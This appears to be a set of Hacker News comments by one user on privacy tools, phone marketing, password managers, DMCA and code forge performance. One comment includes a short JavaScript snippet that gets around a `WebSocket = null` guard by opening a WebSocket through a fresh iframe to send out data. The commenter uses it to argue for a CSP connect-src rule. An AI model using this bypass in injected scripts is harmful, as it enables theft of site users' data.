odensc

Also, verizonmedia.com at 8th place? What's on that site? Some type of CDN?

I'd assume they had the ability to change the email on the account.

I found your project when you commented on a similar HN post, and it's great. I've switched all of my sites from Fathom to Shynet. Nice work :)

(Fathom was good but the self-hosted version is in disarray)

Discord is somehow the best video conferencing tool I've ever used.

1. I won't go into depth about my issues with the copy on that page, but I didn't see that narrative on the page anywhere. Maybe you should include that.

It actually seems like a good idea to provide such people with electronic communication devices, whether you believe in their conditions or not. They should be able to stay in contact with the outside world, if they are indeed unable to come in contact with EMF.

2. My statement wasn't about who they were, but how a company would go from releasing a music album, to manufacturing electronic devices. As far as I can tell you haven't shipped any hardware to consumers before(?)

3. Well I would hope you'd give that assurance, but any company developing vaporware would probably say it isn't vaporware. I'll check it out later this year though, it seems like an interesting idea so I hope it ends up materializing.

The phone looks pretty cool but I'm not sure what their deal is with the radiation stuff. Their claims [1] seem a bit fearmongery. They even say stuff like "Although it has not yet been proven, the stress felt by those sensitive to EMF exposure may cause cortisol levels to rise"... not been proven, so why say it then??

Additionally it appears the only product they have ever shipped before is a music album [2], so I'm not sure how they go from that to a phone. I'd be surprised if this turns out to be any more than Indiegogo vaporware.

[1]: https://mudita.com/products/pure/sar

[2]: https://mudita.com/products/nick-lewis/

Well, you probably couldn't find any confirmation because nothing in the security world is completely impossible :) Webpages aren't supposed to be able to receive input events when the extension popup is open, but there could still be an unknown vulnerability in Chrome/Firefox.

So if you care enough it's best to mitigate that risk by using the standalone application for your password manager, or better yet use a completely separate device like your phone!

On Chrome at least, Bitwarden has it's own extension popup window with the vault. This is a completely separate web context. There's no way for the open website to detect your keystrokes barring a vulnerability in Chrome itself.

If you really want to be safe, you should use the standalone desktop apps and skip the browser extension altogether. Doing that empty tab thing probably doesn't protect you from anything.

This may be one of the most egregious headlines I've ever seen.

$99/year != $10/month. It's $8.25/month. Also something like Fastmail is $9/month (or $90/year) with 100GB of storage (which is what HEY provides) - so it's actually pretty competitive pricing.

Not listed anywhere, but they do exist: https://twitter.com/dhh/status/1272690224267575296

Stimulus is a frontend framework.

I doubt CloudFlare Registrar would be better in terms of customer support—unless said customer has an Enterprise plan—as their prices are just the registry + ICANN fee, no surcharge for them to make money.

Doesn't seem conducive to great customer support, but maybe I'm wrong cause I've never had to contact them.

If you take the "3" as an "e" it would be kesup, which sounds pretty close to ketchup.

That's great!

This is similar to how I've always implemented Redux before using some of my own utilities, but it's nice they have an "official" way to do it now. Does it work well with TypeScript?

Care to point out any of these bugs or...?

http://ai./ still works

How almost every service provider reacts to DMCA notices is by taking down the content ASAP, and if they receive a counter-notice, putting it back up after 2 weeks. They do not make any decisions on whether the content is actually infringing or not. By doing that, they make themselves liable if it actually is copyright-infringing material.

If you aren't okay with that, use a service provider in a jurisdiction not governed by DMCA laws, or run your own service provider and take on that liability yourself.

Funny how this[1] is their modal when you log in.

[1]: https://i.imgur.com/0J4sVlX.png

> Government identification may be required

Ah yes, the classic "send us more of your PII to delete your information." I've ran into that too many times.

More specifically they don't support CloudFlare's DNS. The operator of Archive.(today/is/md) has decided to specifically provide bad IPs when the EDNS client subnet extension isn't provided, which CloudFlare's DNS doesn't provide due to privacy concerns.

A lot more discussion on this topic: https://news.ycombinator.com/item?id=19828317

The window was just one example (obviously not the most optimal method), there are many other ways you could get around it.

My point is `WebSocket = null` won't stop someone who is already dedicated enough to inject a script onto your site to steal people's webpack hot reload error messages. Really a CSP with `connect-src` is the only way to fully prevent this.

Here's one very simple way to get around your method:

    WebSocket = null
    
    let el = document.createElement("iframe")
    document.body.append(el);
    
    let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
    ws.onopen = () => ws.send("my exfiltrated data")

The `sock` variable wouldn't be global in this case though, so there's nothing to look for.

However there are still so many different ways to defeat this (e.g. creating a web worker, creating a new window that handles the WebSocket and posting messages to it, etc.) that it's basically pointless to try.

Mapzen? :)

It's the `Origin` header that's the issue, not `Refer(r)er`.

Here: https://report-delta.now.sh

SourceHut is still the winner of most, but GitHub is a lot faster than in the report on forgeperf.org.

I think the perceived speediness of GitHub for me can be mostly attributed to the fact they don't trigger a full page reload for every navigation. Whereas SourceHut is rendered completely server-side AFAIK.

(I meant GitHub in my previous comment, fyi.)

I'll try it out later today. Would be interesting to see actually because, completely anecdotally, GitLab seems faster than sr.ht in my daily usage.

Yes, that explains their methodology but not the location of the hardware. If I go and run a Lighthouse audit on localhost vs. a server in Philadelphia there's going to be an inherent difference.